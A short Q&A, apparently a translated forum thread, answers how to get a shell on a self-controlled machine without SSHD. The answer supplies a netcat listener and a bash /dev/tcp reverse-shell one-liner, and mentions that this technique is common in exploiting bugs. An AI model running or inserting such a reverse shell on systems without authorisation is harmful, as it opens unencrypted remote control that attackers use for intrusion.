如何在接收端打开一个没有SSHD的shell?

How to open a shell without SSHD on the receiving end?

我有一台没有 SSHD 的机器,我想从远程机器(我可以完全控制)在这台机器上打开 bash shell。

由于我有限的机器上有SSH,所以我配置了一个反向代理:

$ ssh -R 19999:localhost:22 remoteuser@remotemachine

现在我在端口 19999 上建立了从我的 "fully control" 机器到我的 "limited" 机器的连接。我如何使用此设置打开 shell?

您可以将某个端口的输入直接通过管道传输到 bash。当滥用软件中的各种错误时,这是​​常见的做法。例如,运行 在您的完全访问计算机上:

nc -lvp 9999

并且在限定机上

/bin/bash -i >& /dev/tcp/192.168.122.1/9999 0>&1

其中192.168.122.1为全控机IP

这将为您提供第一台机器中第二台机器的 shell。但请注意,连接未加密。如果你想要加密,你需要添加 TCP 转发步骤(类似于你上面建议的)。